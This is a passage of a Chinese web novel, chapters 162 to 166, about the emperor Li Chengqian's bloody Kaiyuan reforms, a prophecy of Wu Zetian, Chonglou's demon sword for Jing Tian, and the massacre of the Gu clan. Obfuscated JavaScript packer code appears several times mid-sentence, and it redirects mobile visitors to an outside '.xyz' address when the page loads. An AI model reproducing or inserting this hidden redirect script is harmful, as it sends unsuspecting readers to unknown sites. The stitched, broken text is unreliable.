“他的道,虽然充满了毁灭,但其中,也确实蕴含着一股……新生的力量。” “或许,真的像他说的那样,不破不立,破而后生。” “我们现在能做的,只有相信他。” 酒剑仙的目光,投向了长安的方向,眼神变得无比深邃。 “相信这位应劫而生的人皇,能在这片废墟之上,为我们,也为这天下苍生,开辟出一条全新的路。” “传我命令!”清微道长深吸一口气,眼中闪过一丝决绝。 “所有长老,随我入阵!不惜一切代价,也要为陛下,争取到足够的时间!” “是!” …… 蜀山的绝望与希望,李承乾并不知道。 此刻的他,正在皇宫的御书房内,批阅着如山一般堆积的奏折。 开元新政,千头万绪。 清查佛寺,均分田地,每一项,都触动了帝国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298728|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最根深蒂固的利益集团,遇到的阻力,远比想象中要大得多。 各州府递上来的奏折,十本里有八本,都是在哭穷,在诉苦,在明里暗里地,抵制着新政的推行。 “一群不见棺材不落泪的老东西。” 李承乾将一本奏折扔在地上,眼中闪过一丝冰冷的杀机。 看来,光靠圣旨,是没用的。 必须要用血,才能让他们看清,谁,才是这个时代的主人。 就在这时,殿外传来了内侍的通报声。 “陛下,不良帅袁天罡、李淳风,求见。” “让他们进来。” 很快,两个身穿黑色官服,气质迥异的中年人,走进了御书房。 一个,面容古拙,眼神深邃,仿佛能看透过去未来。 另一个,则仙风道骨,飘逸出尘,手中拿着一个罗盘。 正是大唐最神秘的两个机构,钦天监和不良人的最高首领,袁天罡和李淳风。 “臣,参见陛下。”两人躬身行礼。 “免礼。”李承乾看着他们,“让你们推演的国运,结果如何?” 袁天罡和李淳风对视了一眼,都从对方眼中看到了一丝凝重和……恐惧。 两人再次跪下,声音,都在微微颤抖。 “启禀陛下……” “臣等,夜观天象,又以我大唐龙脉为基,推演未来国运……” 袁天罡深吸一口气,艰难地说道: “卦象显示……大唐国运,盛极而衰……” “将于……三十年内,终结。” “将于……三十年内,终结。” 袁天罡的话,在空旷的御书房内炸响。 空气,瞬间凝固。 站在一旁的内侍总管,吓得浑身一哆嗦,差点瘫倒在地。 三十年! 大唐,这个刚刚才由新皇登基,改元“开元”,展现出前所未有铁血气象的庞大帝国,竟然,只剩下三十年的国运了? 这怎么可能?! 这简直是天底下最恶毒的诅咒! 要知道,李承乾今年,才二十出头啊! 第162章 渝州城外,魔尊重楼 三十年后,他也不过五十多岁,正是一个帝王年富力强的时候。 这卦象,岂不是在说,这位刚刚登基的开元皇帝,将会成为大唐的……**之君? 这种话,要是放在以前,说出口的人,早就被拖出去砍了,还要诛九族! 内侍总管吓得把头埋得低低的,恨不得自己当场变成一个聋子。 然而,龙椅之上的李承乾,在听到这个足以让任何帝王都为之震怒的“预言”后,脸上的表情,却没有丝毫变化。 他只是静静地看着跪在地上的袁天罡和李淳风,眼神古井无波。 “原因。” 他缓缓开口,只问了两个字。 他的反应,让袁天罡和李淳风都愣了一下。 他们本以为,自己说出这个惊天秘闻后,会引来陛下的雷霆之怒。他们甚至已经做好了,以死明志的准备。 可陛下,竟然……如此平静? 平静得,就好像,他早就知道了这个结果一样。 两人对视一眼,心中的敬畏,又加深了几分。 这位新君的心性,实在是深不可测。 李淳风举起手中的罗盘,那罗盘之上,指针正在疯狂地转动,毫无规律。 “回陛下,天机混乱,臣等,看不清具体的原因。” 李淳风的声音,带着一丝苦涩。 “我二人只能从卦象的边角,窥探到一丝模糊的未来。” “卦象显示,三十年后,紫微星暗,太阴星盛。国祚之中,将有……女主临朝,代唐而立。” 女主临朝…… 代唐而立…… 这八个字,又是一道惊雷! 内侍总管只觉得眼前一黑,这次是真的没站稳,一屁股坐在了地上。 他终于明白,为什么国运会终结了。 原来,是要有女人,来当皇帝! 这……这简直比天方夜谭还要荒谬! 自古以来,何曾有过女人当皇帝的道理?! 这天下,是男人的天下!这江山,是姓李的江山! 怎么可能,会让一个女人,来窃取? “是武家之人?”李承乾的声音,依旧平静。 袁天罡和李淳风的身体,又是猛地一震。 陛下……竟然连这个都知道?! “是……是的,陛下。”袁天罡艰难地点了点头,“卦象隐隐指向,应在……武氏一族。” “武媚娘……”李承乾的口中,轻轻吐出了这个名字。 他当然知道。 他比这个世界上任何人,都清楚未来会发生什么。 武则天,这个原本应该在李世民后宫,最终成为李治皇后的女人,将会成为华夏历史上,唯一一个正统的女皇帝。 她会改唐为周,建立自己的王朝。 而大唐的国运,也确实,会在她的手中,中断十几年。 直到后来,她的儿子,才重新恢复了李唐的国号。 所以,袁天罡和李淳风的推演,没有错。 只是,他们看到的,是原本历史的轨迹。 一条,没有自己这个变数存在的,历史轨迹。 “起来吧。”李承乾淡淡地说道。 “谢陛下。”袁天罡和李淳风,战战兢兢地站起身。 “此事,天知,地知,你知,我知。”李承乾的目光,扫过他们二人,又看了一眼那个瘫在地上的内侍总管。 “若有第五个人知道……” 他的话没有说完,但那冰冷的杀意,却让三人如坠冰窟。 “臣等,遵旨!绝不敢泄露半个字!”三人连忙跪下,拼命磕头。 “嗯。” 李承乾挥了挥手,示意他们退下。 待所有人都离开后,御书房内,只剩下李承乾一个人。 他缓缓地,从龙椅上站起,走到巨大的舆图前。 他的目光,扫过大唐辽阔的疆域。 “武则天……” 他喃喃自语,嘴角,却勾起了一抹冷笑。 “女主临朝?武氏代唐?” “朕还在这里,你们,问过朕的意见了吗?” 若是放在以前,他或许还会对这个“预言”,感到一丝忌惮。 但现在,他不会了。 他的道,是战天之道! 是连天道都要砸碎,连世界都要重塑的霸道! 区区一个历史的“惯性”,也想来阻挡他? 可笑! 不过…… 李承乾的眉头,又微微皱起。 这件事,也给他提了个醒。 他现在要面对的敌人,太多了。 外面,有一个随时可能破封而出的天外之魔。 内部,有无数心怀鬼胎,抵制新政的世家门阀。 而现在,暗处,又多了一个可能会颠覆他李氏江山的武媚娘。 时间。 他最缺的,就是时间。 按照清微的说法,锁妖塔,最多只能再撑一年。 他必须在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298729|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年之内,完成对整个帝国的整合,凝聚起足以对抗天魔的力量。 然后,才能腾出手来,去处理武则天这个隐藏的威胁。 “一年……” 李承乾的手指,在舆图上,重重地点下。 “看来,有些事情,不能再慢慢来了。” “必须要用,更快的,更血腥的手段!” 他的眼中,那股刚刚才收敛起来的杀机,再一次,疯狂地燃烧了起来! 就在李承乾于长安城中掀起滔天血浪,准备用更铁血的手段来推行新政之时。 距离长安数千里之外的蜀中之地,一座繁华而又充满了市井气息的城池,渝州城,却依旧是一片歌舞升平的景象。 这里,远离**中心,天高皇帝远。 长安城的风风雨雨,传到这里,早已变成了说书人嘴里,添油加醋的离奇故事。 百姓们,茶余饭后,听一听也就罢了,谁也不会真的放在心上。 对他们来说,太子登基也好,皇帝禅位也罢,都远不如自家米缸里的米,来得重要。 只要能安安稳稳地过日子,谁当皇帝,又有什么区别呢? 城南,永安当。 这是渝州城里,最大的一家当铺。 当铺的伙计,景天,正趴在柜台上,百无聊赖地打着哈欠。 他今年十九岁,长得眉清目秀,就是眼神里,总带着一股挥之不去的,懒散和狡黠。 他最大的梦想,就是有一天,能发一笔横财,然后盘下这家永安当,当上大老板,再娶一个漂亮媳妇,从此过上衣食无忧的逍遥日子。 至于什么建功立业,什么匡扶天下,那都是戏文里才有的东西,跟他这个小伙计,没有半文钱关系。 “唉,今天又是这么清闲。”景天伸了个懒腰,看着门外冷冷清清的街道,叹了口气。 “生意这么差,老板这个月,不会又要扣我工钱吧?” 他正小声嘀咕着,当铺的门,忽然“吱呀”一声,被人推开了。 景天精神一振,连忙换上一副热情的笑脸。 “客官,您是来当东西,还是来赎东西啊?” 他抬起头,可看清来人的模样后,脸上的笑容,却僵住了。 走进来的人,很高大。 一头红色的长发,随意地披散在肩上,身上穿着一套样式古怪的黑色劲装,背后,还背着一对……翅膀? 那翅膀,不是羽翼,而是如同恶魔一般的,布满了诡异纹路的肉翼。 第163章 李承乾新朝铁幕,血染江南 来人的脸上,带着一股与生俱来的,睥睨众生的傲气。他的眼神,扫过景天,就像神明在俯瞰蝼蚁。 景天在当铺干了这么多年,也算是见过不少三教九流的人物。 可眼前这个人,给他带来的压迫感,却是前所未有的。 他感觉,自己面对的,不是一个人。 而是一座,随时都可能爆发的火山。 “你……你是什么人?”景天吓得往后退了一步,声音都有些结巴。 “我?”红发男子开口了,他的声音,低沉而富有磁性,带着一种不容置疑的威严。 “我叫,重楼。” 重楼? 景天在脑子里飞快地搜索着这个名字,却发现,自己从未听说过。 “你……你来当铺,有什么事?”景天壮着胆子问道。 重楼没有回答他,他的目光,在当铺里扫视了一圈,最后,落在了景天的身上。 那目光,仿佛能穿透他的皮肉,看到他的灵魂。 “你的身上,有他的气息。”重楼缓缓说道。 “他?他是谁?”景天被他看得浑身发毛。 “一个,我找了很久的对手。”重楼的眼中,闪过一丝复杂的神色,有怀念,有战意,也有一丝……寂寞。 他说着,缓缓伸出手。 在他的掌心,凭空出现了一柄剑。 那柄剑,通体漆黑,剑身之上,刻满了血色的魔纹。一股股肉眼可见的,充满了毁灭与不祥气息的黑气,缠绕在剑身之上。 仅仅是看一眼,就让人感觉,自己的灵魂,都要被吸进去了。 “这……这是什么?”景天吓得脸都白了。 “魔剑。”重楼淡淡地说道。 “我把它,送给你。” “送……送给我?”景天以为自己听错了。 这么一柄看起来就牛气冲天的宝剑,要送给自己这个穷伙计? 天上掉馅饼了? “为什么?”景天虽然心里有点小激动,但还是保持了一丝警惕。 “因为,只有你,才能使用它。”重楼的目光,再次变得深邃。 “也只有它,才能唤醒,你身体里,沉睡的力量。” “我……我身体里有什么力量?”景天指了指自己,一脸的懵。 他从小到大,除了比别人更能吃更能睡之外,没发现自己有什么特殊的力量啊。 “到时候,你自然会知道。” 重楼没有过多解释。 他将手中的魔剑,随手一抛。 那柄散发着恐怖气息的魔剑,化作一道黑光,瞬间射入了景天的体内,消失不见。 景天吓了一跳,连忙摸了摸自己的胸口,却发现,什么都没有。 就好像,刚才的一切,都只是幻觉。 可他心中那股莫名的悸动,却告诉他,这一切,都是真的。 “等你,什么时候,能真正拔出这柄剑了。” “就来神魔之井,找我。” 重楼的声音,在景天的耳边响起。 “我,等着你。” 话音落下,他的身影,已经化作点点红光,消散在了空气中。 只留下景天一个人,呆呆地站在原地,脑中一片混乱。 神魔之井? 那是什么地方? 还有那个叫重楼的怪人,他到底是谁? 他塞到自己身体里的那柄魔剑,又到底是什么东西? 无数的疑问,像一团乱麻,缠绕着景天。 他感觉,自己那原本平静安逸的小日子,从今天起,恐怕,要一去不复返了。 “喂!景天!发什么呆呢!” 一个清脆又带着几分刁蛮的声音,将景天从混乱的思绪中拉了回来。 他一抬头,就看到一个身穿红衣,扎着双马尾,长相娇俏可爱的少女,正双手叉腰,气鼓鼓地瞪着他。 是唐家大小姐,唐雪见。 也是这家永安当,未来的女主人。 “雪见啊,你来啦。”景天看到她,立刻换上了一副嬉皮笑脸的模样,刚才那个神秘人重楼带来的压迫感,也消散了不少。 “哼!你还知道我来了?”唐雪见走到柜台前,重重地拍了一下桌子,“我叫了你半天,你都不理我!是不是又在偷懒睡觉?” “哪有哪有。”景天连忙摆手,“我刚才是在思考人生大事。” “就你?还思考人生大事?”唐雪见撇了撇嘴,一脸的不信,“你的人生大事,不就是想着怎么偷懒,怎么多拿工钱吗?” “嘿嘿,知我者,雪见也。”景天也不反驳,只是嘿嘿傻笑。 唐雪见看着他这副没心没肺的样子,气就不打一处来。 “你……”她刚想再教训几句,却忽然“咦”了一声。 她上上下下地,打量着景天,那双明亮的大眼睛里,充满了疑惑。 “奇怪……” “什么奇怪?”景天被她看得有些不自在。 “我怎么觉得,你今天,好像有点不一样了?”唐雪见歪着脑袋,围着景天转了一圈。 “哪里不一样了?”景天心中一紧,生怕被她看出什么端倪。 “说不上来。”唐雪见摸着下巴,一脸的思索,“就感觉……你身上,好像多了点什么东西。嗯……好像,比以前,更顺眼了一点?” 景天闻言,差点没一口老血喷出来。 合着我以前,在你眼里,就那么不顺眼啊? 不过,他也知道,唐雪见的感觉,恐怕不是错觉。 那柄魔剑,虽然进入了他的身体,消失不见。 但景天能感觉到,自己的身体,正在发生着某种,他说不出来的变化。 他的五感,似乎变得比以前,敏锐了许多。 他能清晰地听到,门外街角,两个小贩的讨价还价声。 他能闻到,后院厨房里,赵文昌老板正在偷偷炖的,那锅红烧肉的香味。 甚至,他能感觉到,唐雪见此刻的心跳,比平时,要快上那么几分。 这种感觉,很奇妙。 “错觉,一定是你的错觉。”景天打了个哈哈,想要把这个话题糊弄过去。 他不想让任何人知道,刚才发生的那些离奇的事情。 直觉告诉他,那会带来天大的麻烦。 他只想安安稳稳地,当他的小伙计。 “是吗?”唐雪见将信将疑地看了他一眼,不过她也没有再继续追问。 她的注意力,很快就被另一件事吸引了。 “对了,景天,你听说了吗?长安城那边,出大事了!”唐雪见一脸兴奋地说道。 “什么大事?”景天故作好奇地问道。 “听说啊,太子殿下,发动了政变,把皇帝给关起来了!自己当了皇帝!” “哦?这么厉害?”景天假装很惊讶。 “那可不!”唐雪见说得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298730|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉飞色舞,就好像她亲眼看到了一样,“我还听说啊,那个新皇帝,可厉害了!他一登基,就把长安城里所有的和尚,都给抓了起来,庙也给抄了!” “还有还有,他还下令,要把那些大官、大地主的田,都分给没田的老百姓呢!你说,这天底下,怎么会有这么好的皇帝?” 唐雪见说着,眼中,竟然闪烁着一丝崇拜的光芒。 景天听着,心里却是不以为然。 皇帝好不好,跟他有什么关系? 分田地?那也分不到他这个当铺伙计的头上啊。 他现在,满脑子想的,都是自己身体里,那柄该死的魔剑。 那玩意儿,到底是个什么东西? 会不会,哪天突然从他身体里钻出来,把他给劈成两半? 一想到这里,景天就感觉,自己的未来,一片灰暗。 他那当上永安当大老板,娶个漂亮媳妇的伟大梦想,似乎,离他越来越远了。 …… 魔界,一处充满了硫磺与火焰的宫殿之中。 重楼的身影,缓缓浮现。 他坐在高高的王座之上,单手撑着下巴,那双睥睨众生的眸子里,闪过一丝期待。 “飞蓬……” “你的转世,我已经找到了。” “那柄魔剑,是我特意为你寻来的,可以激发你体内残存的神力。” “希望,你不要让我,等得太久。” 他的目光,仿佛穿透了无尽的空间,看到了渝州城里,那个正为未来而烦恼的当铺伙计。 “我唯一的对手啊……” “快点成长起来吧。” “这个人间,很快,就要变得,很有意思了。” 他的嘴角,勾起一抹邪魅的笑容。 他的目光,又转向了另一个方向。 那是,长安。 在那里,他感觉到了一股,让他都为之侧目的,霸道绝伦的气息。 那股气息,充满了毁灭与新生,仿佛要将整个天地,都重新炼化。 “人皇吗?” “有意思。” “看来,除了飞蓬,我还会有另一个,不错的对手。” “这个时代,真是越来越让人,期待了啊。” 长安城的风暴,并没有因为李承乾的登基而停歇,反而愈演愈烈。 开元新政的五道旨意,如五柄最锋利的刀,狠狠地,砍向了旧大唐那早已腐朽不堪的根基。 首当其冲的,便是遍布天下的世家门阀。 “陛下有旨,颁行均田令!凡侵占民田者,隐匿人口者,一经查实,抄家灭族!” 这道旨意,在地方上,引起的震动,比在长安城,还要剧烈百倍。 江南,吴郡顾氏。 这是传承了数百年的顶级门阀,族中子弟,遍布江南各州府,门生故吏,不计其数。 顾氏的庄园,占地千顷,亭台楼阁,比皇宫还要奢华。 此刻,顾氏的议事大厅内,气氛凝重到了极点。 家主顾雍,一个年过六旬,面容清癯的老者,手中捏着一份从长安传来的邸报,手指,都在微微颤抖。 “欺人太甚!简直是欺人太甚!” 一个年轻的顾氏子弟,猛地一拍桌子,满脸涨红地站了起来。 “那李承乾,不过是一个弑兄囚父的乱臣贼子!他以为,他坐上了龙椅,就能对我们江南士族,指手画脚了吗?” 第164章 孤为船夫,渡世间人 “不错!”另一人也附和道,“我顾氏,立足江南数百年,连前朝的杨广,都不敢动我们分毫!他一个黄口小儿,算个什么东西!” “均田令?他这是要挖我们的根啊!此事,绝不能忍!” 大厅内,群情激奋。 这些平日里高高在上的世家子弟,第一次,感觉到了真正的危机。 “都给我住口!” 首座之上,顾雍猛地将手中的邸报,拍在桌上,发出“砰”的一声巨响。 大厅内,瞬间安静了下来。 所有人的目光,都集中在了这位家主的身上。 顾雍缓缓站起身,目光扫过在场的每一个人,那眼神,冰冷而锐利。 “乱臣贼子?黄口小儿?” 他冷笑一声。 “能在一夜之间,逼疯李世民,让衍圣公和李氏老祖都下跪臣服的人,是黄口小儿?” “能让蜀山三千剑仙,为其所用的人,是乱臣贼子?” “你们的脑子,都被猪油蒙了吗?!” 顾雍的厉声质问,让所有人都低下了头,不敢与他对视。 “长安城发生的事情,邸报上,写得清清楚楚。”顾雍的声音,变得无比沉重,“这位新君,不是李世民。他,不跟我们讲规矩,也不跟我们谈交易。” “他的话,就是圣旨。不听的,只有一个下场——死!” “那……那我们该怎么办?”一个年轻人,战战兢兢地问道,“难道,我们真的要把祖宗几百年积攒下来的田地,都交出去吗?” “交出去?”顾雍的眼中,闪过一丝狠厉。 “我顾氏的基业,岂能说交就交!” 他顿了顿,缓缓说道:“新君登基,根基未稳。他现在,不过是虚张声势,想要吓唬我们罢了。” “他最大的依仗,不过是京畿的那十几万神策军。可我大唐,有三十六州!他管得过来吗?” “传我的命令!”顾雍的声音,变得阴冷,“从今日起,顾氏名下所有庄园,闭门谢客,加强戒备!所有在外的子弟,立刻返回宗族!” “另外,派人去联络王氏,谢氏,陆氏……告诉他们,唇亡齿寒的道理!” “李承乾想在江南推行他的均田令,可以!” “让他自己,派人来拿!” 顾雍的眼中,闪烁着老谋深算的精光。 他这是要用“拖”字诀,阳奉阴违,联合整个江南的士族,来软抵抗李承乾的新政。 他相信,只要江南的士族团结一心,法不责众,那个远在长安的年轻皇帝,最终,也只能妥协。 然而,他还是低估了李承乾的决心。 也低估了,李承乾的……狠辣。 就在顾氏联合江南各大士族,准备抵制新政的第三天。 一支军队,出现在了太湖之畔。 那支军队,人数不多,只有三千人。 他们穿着黑色的飞鱼服,腰挎着狭长的绣春刀。 为首的,是一个面容冷峻,眼神阴鸷的年轻人。 不良人,副帅,裴律师。 他奉陛下之命,率三千不良人,星夜兼程,南下江南。 目的,只有一个。 **。 “大人,前面就是顾氏的庄园了。”一名不良人校尉,在裴律师身边低声说道。 裴律师抬起头,看着远处那座灯火通明,宛如宫殿般的巨大庄园,嘴角,勾起一抹冰冷的弧度。 “传令下去。” “一个不留。” “是!” 夜色,如墨。 杀戮,在寂静中,展开。 三千不良人,悄无声息地,潜入了守备森严的顾氏庄园。 他们,是李承乾手中,最锋利,也最肮脏的一把刀。 他们不讲究什么正面冲杀,他们只追求,最高效的,杀戮。 淬毒的**箭,无声地,收割着庄园内巡逻的护卫。 锋利的绣春刀,轻易地,划开了那些世家子弟,养尊处优的喉咙。 惨叫声,此起彼伏。 火光,冲天而起。 顾雍,这位自以为能与新皇掰一掰手腕的顾氏家主,在睡梦中,被亲兵惊醒。 当他冲出房门时,看到的,是如同人间地狱一般的景象。 到处都是尸体,到处都是鲜血。 他那传承了数百年的家族,正在被一群,来自地狱的恶鬼,疯狂地屠戮! “你们……你们是什么人?!”顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303800|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雍看着那个一步步向他走来的,手持滴血绣春刀的年轻人,声音,因为恐惧而剧烈地颤抖。 “不良人,裴律师。” 裴律师的声音,不带一丝感情。 “奉陛下之命,前来……抄家灭族。” “不……不可能……”顾雍的眼中,充满了不敢置信,“朝廷的大军,不可能这么快就到江南……” “陛下说了。”裴律师的嘴角,露出一抹残忍的笑容。 “对付你们这些臭虫,还用不着,大军。” 话音落下,刀光一闪。 顾雍的头颅,冲天而起。 他那双圆睁的眼睛里,还残留着,无尽的惊骇与悔恨。 这一夜,血,染红了太湖的水。 这一夜,传承数百年的吴郡顾氏,满门上下,一千三百余口,无论男女老幼,尽数,被屠戮殆尽。 消息传出,整个江南,为之失声。 所有还在观望,还在犹豫,还在心存侥幸的世家门阀,都被这雷霆血腥的手段,吓破了胆。 他们终于明白了。 这位开元皇帝,他不是在开玩笑。 他,是真的,要将这张旧世界的桌子,掀个底朝天! 江南的血,顺着运河,一路向北,将那股浓重的腥气,带到了长安。 当吴郡顾氏被满门抄斩的消息,传到太极殿时,整个朝堂,陷入了一片死寂。 那些前几天还在上书,哭诉均田令推行不易,请求陛下暂缓新政的官员们,此刻一个个都低着头,噤若寒蝉,连呼吸都变得小心翼翼。 他们看着龙椅上那个面无表情的年轻帝王,眼神中,只剩下最纯粹的恐惧。 狠! 太狠了! 那可是吴郡顾氏啊!传承了数百年的顶级门阀!在江南,一句话就能让州府易主的存在! 就因为带头抵制新政,一夜之间,说没就没了! 满门上下,一千三百多口,鸡犬不留! 这是何等血腥,何等霸道的手段! 这位新君,他是在用顾氏的血,来告诉天下所有人,他的旨意,不容违逆! 顺之者昌,逆之者亡! “诸位爱卿,今日,可还有本要奏?” 第165章 李承乾杀鸡儆猴 李承乾的声音,淡淡地响起,打破了这压抑的寂静。 无人敢答。 整个大殿,安静得能听到一根针掉在地上的声音。 “既然无事,那就说说均田令的事情吧。”李承乾的目光,落在了户部尚书的身上。 那户部尚书,是个五十多岁的小老头,此刻吓得浑身都在哆嗦,两腿发软。 “臣……臣在……” “江南的田,现在,还好分吗?”李承乾问道。 “好……好分!好分了!”户部尚书连忙点头。 “陛下天威,震慑宵小!如今江南士族,无不箪食壶浆,以迎王师!均田令的推行,再无半点阻碍!臣保证,不出十日,江南所有无地、少地的百姓,都能拿到属于自己的田契!” 前几天,他还在跟陛下哭诉,说江南士族盘根错节,均田令推行下去,困难重重,恐怕会激起民变。 现在,他只恨自己,不能立刻飞到江南,亲自去给那些百姓分田。 开玩笑,再敢说一个“不”字,下一个被抄家的,可能就是他自己了。 “很好。”李承乾满意地点了点头。 杀鸡儆猴。 这只“鸡”,够肥,够大。 这效果,也足够好。 他知道,从今天起,至少在明面上,再也没有人,敢阻挠他的新政了。 他的目光,又转向了兵部尚书。 “扩军之事,进行得如何了?” 兵部尚书连忙出列,躬身道:“启禀陛下,自陛下旨意下达,天下青壮,踊跃参军!短短十日,报名者,已逾百万!只是……” “只是什么?” “只是……国库……国库的钱粮,恐怕……不足以支撑三百万大军的消耗……”兵部尚书擦了擦额头的冷汗,战战兢兢地说道。 这个问题,确实是目前最大的难题。 练兵,铸甲,造器,发饷,哪一样,不需要海量的金钱来支撑? 虽然清查佛寺,抄没世家,让国库暂时充盈了起来。 但要维持一支三百万人的常备军,依旧是杯水车薪。 “钱粮之事,不必担忧。” 李承乾似乎早就料到了这个问题。 “户部。” “臣在。” “将所有抄没来的,不适宜耕种的山林、矿山、湖泊,全部收归国有。成立‘开元商行’,由朝廷直接经营,开采矿产,贩卖盐铁,所得利润,全部用作军费。” “嘶——” 这个决定一出,又是满朝哗然。 盐铁官营! 这是要将天下最赚钱的两个行当,从那些世家豪商的手里,彻底抢过来啊! 这一招,比均田令,还要狠! 这是真正的,与天下富人为敌! “陛下,三思啊!”一名御史,大着胆子出列,跪在地上,“盐铁之利,自古便由民间经营,朝廷只负责收税。若强行收归国有,必将引得天下商人,人人自危,商业凋敝,于国,无益啊!” “无益?”李承乾冷笑一声。 “让那些商人,赚得盆满钵满,富可敌国,然后用这些钱,来豢养私兵,对抗朝廷,这就叫有益?” “让国库空虚,军费无着,边关将士,连冬衣都发不齐,这就叫有益?” 李承乾站起身,一步步,从高高的台阶上,走了下来。 他走到那名御史的面前,居高临下地看着他。 “孤告诉你,什么,才叫真正的有益。” “让天下财富,尽归于国!让国家的每一分钱,都用在强军,富民之上!” “让我的大唐,拥有一支,足以踏平四海八荒的铁血雄师!” “让我的子民,人人有饭吃,人人有衣穿,再也不必受人欺凌!” “这,才叫有益!” 他的声音,铿锵有力,掷地有声,回荡在每一个人的耳边。 那名御史,被他身上那股磅礴的气势,压得抬不起头来,一句话也说不出来。 李承乾没有再理他,而是走到了大殿的中央,目光,扫过所有臣子。 “孤知道,你们很多人,心里都在骂孤,是**,是魔王。” “你们觉得,孤的手段,太酷烈,太无情。” “但孤,不在乎。” 他的脑海中,浮现出了夫子的话。 “水能载舟,亦能覆舟。如何让这艘船,永远安稳地行驶在水面上,是你这个船夫,需要用一生去思考的问题。” 李承乾的眼中,闪过一丝明悟。 “这个世界,是一片即将被风暴吞噬的苦海。” “天下苍生,都是这苦海中,即将沉没的落水者。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303801|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “而孤,”他指着自己,声音,充满了不容置疑的坚定。 “就是那个,唯一的船夫!” “孤要做的,不是去问每一个落水者,想不想上船。而是用最快的速度,最强的手段,将他们,一个个,都从那该死的漩涡里,捞上来!” “哪怕,在这个过程中,会有人被船桨打伤,会有人被绳索勒痛。” “但,只要能活下去,一切,都值得。” “孤为船夫,当渡,这世间所有人!” “这,就是孤的道!” 话音落下,他身上,那股融合了毁灭与新生,充满了无上霸道的黑色帝气,再次,冲天而起! 整个太极殿,都在这股气势之下,嗡嗡作响! 满朝文武,只觉得自己的灵魂,都在颤抖! 他们看着那个站在大殿中央的年轻帝王。 在这一刻,他们心中所有的疑虑,所有的恐惧,都烟消云散。 只剩下,最纯粹的,最狂热的……臣服! “愿为陛下,赴汤蹈火,在所不辞!” 不知是谁,第一个喊了出来。 紧接着,山呼海啸般的声音,响彻整个大殿。 “愿为陛下,赴汤蹈火,在所不辞!” 新朝的铁幕,在这一刻,才算真正地,拉开了。 开元新政,在李承乾的铁腕推动和不良人的血腥屠刀之下,以一种摧枯拉朽的姿态,席卷了整个大唐。 曾经盘根错节,足以让皇权都为之侧目的世家门阀,在这场风暴中,被连根拔起。 他们的土地,被分给了嗷嗷待哺的百姓。 他们的财富,被充入了日益丰盈的国库。 他们的权势,如同过眼云烟,消散在了历史的尘埃之中。 天下,第一次,真正意义上地,迎来了皇权的统一。 李承乾的意志,通过日益完善的官僚体系,可以毫无阻碍地,传达到帝国的每一个角落。 “开元商行”的建立,更是将盐、铁、矿山这些最重要的经济命脉,牢牢地掌握在了朝廷的手中。 源源不断的财富,从全国各地,汇入长安。 这些财富,没有被用来修建奢华的宫殿,也没有流入帝王的私库。 而是全部,投入到了一个地方——天策府。 第166章 李承乾的目标 在兵部尚书李绩的亲自操持下,扩军三百万的计划,正在如火如荼地进行。 无数的青壮,怀揣着对新皇的狂热崇拜,和对未来的美好憧憬,放下了手中的锄头,拿起了冰冷的兵器。 而蜀山,也派出了以酒剑仙为首,足足五百名精英弟子,入驻天策府。 他们,将作为第一批教官,向这些凡人军队,传授最基础的,修行之法。 李承乾的目标,很明确。 他要打造的,不是一支普通的凡人军队。 而是一支,人人皆可修行,足以与妖魔抗衡的…… 修士大军! 这是一个,足以让任何人都感到疯狂的计划。 但现在,在大唐,没有人敢质疑。 因为,提出这个计划的人,是李承乾。 那个,以凡人之躯,比肩神明的,开元皇帝。 